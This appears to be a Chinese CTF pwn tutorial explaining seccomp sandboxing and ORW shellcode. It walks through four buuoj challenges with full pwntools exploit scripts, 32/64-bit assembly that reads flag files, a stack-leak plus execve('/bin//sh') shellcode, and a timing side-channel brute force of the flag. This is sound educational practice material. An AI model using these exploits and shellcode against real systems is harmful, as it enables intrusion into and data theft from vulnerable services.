现在有很多pwn题中有沙箱机制。会使用类似seccomp
的函数来禁用一部分系统调用,往往会把 execve 这种系统调用禁用掉,基本上拿不到shell。所以出现了新的利用也就是orw。
seccomp seccomp (short for secure computing mode ) is a computer security facility in the Linux kernel . seccomp allows a process to make a one-way transition into a “secure” state where it cannot make any system calls except exit()
, sigreturn()
, read()
and write()
to already-open file descriptors . Should it attempt any other system calls, the kernel will terminate the process with SIGKILL or SIGSYS .[1] [2] In this sense, it does not virtualize the system’s resources but isolates the process from them entirely.
看个seccomp和没有seccomp的例子吧,首先得先安装一下相应的头文件。
1 $ sudo apt install libseccomp-dev libseccomp2 seccomp
没有seccomp 1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> int main (int argc, char **argv) { char * filename = "/bin/sh" ; char * ar[] = {"/bin/sh" ,NULL }; char * envp[] = {NULL }; write(1 ,"/bin/sh\n" ,8 ); syscall(59 ,filename,ar,envp); return 0 ; }
加了seccomp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdio.h> #include <seccomp.h> int main (int argc, char **argv) { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0 ); seccomp_load(ctx); char * filename = "/bin/sh" ; char * ar[] = {"/bin/sh" ,NULL }; char * envp[] = {NULL }; write(1 ,"/bin/sh\n" ,8 ); syscall(59 ,filename,ar,envp); return 0 ; }
ctx是Filter context/handle,其中typedef void *scmp_filter_ctx;
seccomp_init是初始化的过滤状态,这里用的是SCMP_ACT_ALLOW,表示默认允许所有的syscacll.如果初始化状态为SCMP_ACT_KILL,则表示默认不允许所有的syscall
使用seccomp-tools来检测一下吧。
ORW
使用 open 函数打开 flag 文件,read 读取文件内容,write 写到标准输出 stdout,这样就可以从屏幕打印出来 flag
在堆题中,一般会在劫持了某钩子函数如 __free_hook 或 got 表之后考虑实现 orw,例如下面的32位和64位的orw flag。一般来说我们希望这个 gadget 能够实现栈迁移,一种比较通用的做法是利用 setcontext 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 open = xor ecx,ecx; xor edx,edx; push ecx; push 0x67616c66 ; mov ebx,esp; mov eax,0x5 ; int 0x80 ; read = mov eax,0x3 ; mov ecx,ebx; mov ebx,0x3 ; mov edx,0x100 ; int 0x80 ; write = mov eax,0x4 ; mov ebx,0x1 ; int 0x80 ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #open(const char *filename,int flags,int mode) x64下调用号2(rax) #push rsp把栈顶指针寄存器中的值也即指向文件路径的指针赋值给rdi open=''' push 0x67616c66 push rsp pop rdi xor rsi,rsi xor rdx,rdx push 2 pop rax syscall ''' #read(unsigned int fd,char *buf,size_t count) 其中open函数的返回值也就是fd,存放于rax中 read=''' push rax pop rdi push 0x123200 pop rsi push 0x100 pop rdx xor rax,rax syscall ''' #write(unsigned int fd,const char *buf,size_t count) 1为标准输出流,rsi和rdx不变,系统调用号为1 write=''' push 1 pop rdi push 1 pop rax syscall '''
实战 pwnable_asm
pwnable上和buuctf都有,可以远程打。buuctf的题目链接:https://buuoj.cn/challenges#pwnable_asm
IDA一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main (int argc, const char **argv, const char **envp) { size_t v3; char *s; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); puts ("Welcome to shellcoding practice challenge." ); puts ("In this challenge, you can run your x64 shellcode under SECCOMP sandbox." ); puts ("Try to make shellcode that spits flag using open()/read()/write() systemcalls only." ); puts ("If this does not challenge you. you should play 'asg' challenge :)" ); s = (char *)mmap((void *)0x41414000 , 0x1000 uLL, 7 , 50 , 0 , 0LL ); memset (s, 144 , 0x1000 uLL); v3 = strlen (stub); memcpy (s, stub, v3); printf ("give me your x64 shellcode: " ); read(0 , s + 46 , 0x3E8 uLL); alarm(0xA u); chroot("/home/asm_pwn" ); sandbox("/home/asm_pwn" ); ((void (__fastcall *)(const char *))s)("/home/asm_pwn" ); return 0 ; }
题目中的沙箱限制了大多数函数的使用,只能使用read、write、open、exit函数。可以看到puts中让我们尝试使用orw。在pwntools中自带了shellcraft 模块,可以生成相应架构的 shellcode。这题可以直接使用shellcraft模块生成orw。其中自带的模块的字节大小可能会大,题目中可能会限制输入的大小。
1 2 3 4 5 shellcode = '' shellcode += shellcraft.open ('/flag' ) shellcode += shellcraft.read(3 , offest, 0x100 ) shellcode += shellcraft.write(1 , offest, 0x100 ) print (shellcode)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x67616c662f xor [rsp], rax mov rdi, rsp xor edx, edx xor esi, esi push SYS_open pop rax syscall xor eax, eax push 3 pop rdi xor edx, edx mov dh, 0x100 >> 8 mov esi, 0x1010101 xor esi, 0x40404001 push 1 pop rdi xor edx, edx mov dh, 0x100 >> 8 mov esi, 0x1010101 xor esi, 0x40404001 push SYS_write pop rax syscall
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context(arch='amd64' , os='linux' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 25833 ) else : r = process(file_name) elf = ELF(file_name) libc = ELF('./2.23/libc-2.23.so' ) offest = 0x41414000 shellcode = '' shellcode += shellcraft.open ('./flag' ) shellcode += shellcraft.read(3 , offest, 0x100 ) shellcode += shellcraft.write(1 , offest, 0x100 ) print (shellcode)shellcode = asm(shellcode) r.sendline(shellcode) r.interactive()
pwnable_orw
题目链接:https://buuoj.cn/challenges#pwnable_orw
进IDA看一下吧。
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { orw_seccomp(); printf ("Give my your shellcode:" ); read(0 , &shellcode, 0xC8 u); ((void (*)(void ))shellcode)(); return 0 ; }
还是直接输入shellcode,只可以用orw,exit等函数。这题我们的shellcode自己写也可以使用shellcraft,需要对系统调用的参数传递比较熟悉,eax为系统调用号,ebx,ecx,edx依次为传递的参数。我们要读的flag文件为./flag,flag字符串为0x67616c66
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 open = ''' xor ecx,ecx; xor edx,edx; # edx = int mode 设定权限的 push ecx; #字符串结束符\x00 push 0x67616c66; #flag字符串 mov ebx,esp; #ebx = const char __user *filename mov eax,0x5; # eax = sys_open , 系统调用号 int 0x80; # syscall ''' read = ''' mov eax,0x3; # eax = sys_read ,系统调用号为3 mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # ebx = unsigned int fd = 3 ,文件描述符 mov edx,0x100; # edx = size_t count 对应字节数 int 0x80; #syscall ''' write = ''' mov eax,0x4; # eax = sys_write ,系统调用号为4 mov ebx,0x1; # ebx = unsigned int fd = 1,文件描述符 int 0x80; #syscall '''
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context(arch='i386' , os='linux' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 28090 ) else : r = process(file_name) elf = ELF(file_name) orw_open = ''' xor ecx,ecx; xor edx,edx; push ecx; push 0x67616c66; mov ebx,esp; mov eax,0x5; int 0x80; ''' orw_read = ''' mov eax,0x3; mov ecx,ebx; mov ebx,0x3; mov edx,0x100; int 0x80; ''' orw_write = ''' mov eax,0x4; mov ebx,0x1; int 0x80; ''' shellcode = asm(orw_open + orw_read + orw_write) r.send(shellcode) print ('shellcode.len = ' + str (hex (len (shellcode))))r.interactive()
pwnable_start
题目链接:https://buuoj.cn/challenges#pwnable_start
什么也看不出来。看一下汇编吧。
eax是32位系统调用,ebx,ecx,edx分别是第一,二,三参数。其中dl bl是edx,ebx的低位。从上面的汇编可以看出首先将eax,ebx,ecx,edx清0。接着压入一些数据这些数据其实是Let's start the CTF:
接着将这些数据给了ecx二参数的寄存器。dl为0x14,bl为1,接着al为4,也就是write(1, buf,0x14)。接下来将ebx清0。dl=0x3c,al=3,也就是read(0,buf,0x3c)。
将shellcode写入可执行区域,然后让eip指向shellcode就可以了。因为有read,所以直接读到栈上就可以了,保护全关,要先泄露一下栈地址。因为esp,14h,所以需要先填0x14个字节,再填一个字节指向mov ecx,esp就可以了。mov ecx, esp把esp指向的值write出来。栈地址出来了,rop链就可以了。注意的地方是shellcraft.sh太大了。可写区域只有36字节,所以我们得自己写一个shellcode
1 2 3 4 5 6 7 8 9 10 shellcode = ''' xor ecx, ecx; xor edx, edx; push edx; push 0x68732f6e; push 0x69622f2f; mov ebx, esp; mov al, 0xb; int 0x80; '''
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context(arch='i386' , os='linux' , log_level = 'debug' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 27426 ) else : r = process(file_name) elf = ELF(file_name) p1 = b'a' * 0x14 + p32(0x8048087 ) r.sendafter("Let's start the CTF:" ,p1) stack_addr = u32(r.recv(4 )) success('stack_addr = ' + hex (stack_addr)) shellcode = ''' xor ecx, ecx; xor edx, edx; push edx; push 0x68732f6e; push 0x69622f2f; mov ebx, esp; mov al, 0xb; int 0x80; ''' shellcode = asm(shellcode) print (hex (len (shellcode)))p2 = b'a' * 0x14 + p32(stack_addr + 20 ) + shellcode r.sendline(p2) r.interactive()
noocall
题目链接:https://buuoj.cn/challenges#xman_2019_nooocall
进IDA里面分析一下吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { FILE *v4; void *v5; void *buf; sub_B91(a1, a2, a3); v4 = fopen("./flag.txt" , "r" ); if ( !v4 ) exit (1 ); v5 = mmap((void *)0x200000000 LL, 0x2000 uLL, 3 , 34 , -1 , 0LL ); buf = mmap((void *)0x300000000 LL, 0x20000 uLL, 7 , 34 , -1 , 0LL ); _isoc99_fscanf(v4, "%s" , v5); printf ("Your Shellcode >>" ); read(0 , buf, 0x10 uLL); sub_C34(); ((void (*)(void ))buf)(); return 0LL ; }
fopen了flag,flag已经被放到了内存里。跟进sub_c34()看一下。
1 2 3 4 5 6 7 8 9 10 unsigned __int64 sub_C34 () { __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = seccomp_init(0LL ); seccomp_load(v1); return __readfsqword(0x28 u) ^ v2; }
开了沙箱。使用寄存器比较flag.txt,并输入字节大小的数据。如果相同则用jz来重复shell代码。需要进行爆破。
1 2 3 4 5 6 7 8 9 shellcode = asm( ''' mov rax,[rsp+0x10] #rsp+0x10处存储的是缓冲区上IO结构体的地址,放进rax mov rax,[rax+0x18] #rax+0x18处存储的是flag的地址 mov al,byte ptr[rax+%d] #我们通过rax+%d每次取flag的一个字符进行爆破 cmp al,%d #被我们取出的字符放入al,%d此时是guess_char的ascii码,cmp把我们取出的flag对应位置的字符和p_char中的每个进行对比,然后对ZF位置位 jz $-0x2 #如果ZF=1,即al-%d==0,那么说明爆破成功,这样我们再jz跳转到$-2也就是造成一个无限循环,这样使得延时必然大于3秒。 ''' % (index,ord (guess_char)))
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *import timecontext(arch='amd64' , os='linux' , log_level = 'critical' ) file_name = './z1r0' debug = 1 flag = [] for i in range (0 , 10 ): flag.append(str (i)) for i in range (ord ('a' ), ord ('z' ) + 1 ): flag.append(chr (i)) flag.append('{' ) flag.append('-' ) flag.append('}' ) flag.append('\x00' ) print ('[+] flag = ' + str (flag))index = 0 final = '' xman = False while not xman: print ('[+] ' + str (index) + ' chr' ) for test_flag in flag: if debug: r = remote('node4.buuoj.cn' , 26020 ) else : r = process(file_name) shellcode = asm(''' mov rax,[rsp + 0x10] mov rax,[rax + 0x18] mov al,byte ptr[rax + %d] cmp al,%d jz $-0x2 ''' % (index, ord (test_flag))) r.sendlineafter('Your Shellcode >>' , shellcode) start = time.time() r.can_recv_raw(timeout = 3 ) end = time.time() r.close() if end - start > 3 : if test_flag == '\x00' : xman = True final += test_flag print ('[+] success get ' + str (index) + ' chr' ) index += 1 break print ('[+] final = ' + final) r.interactive()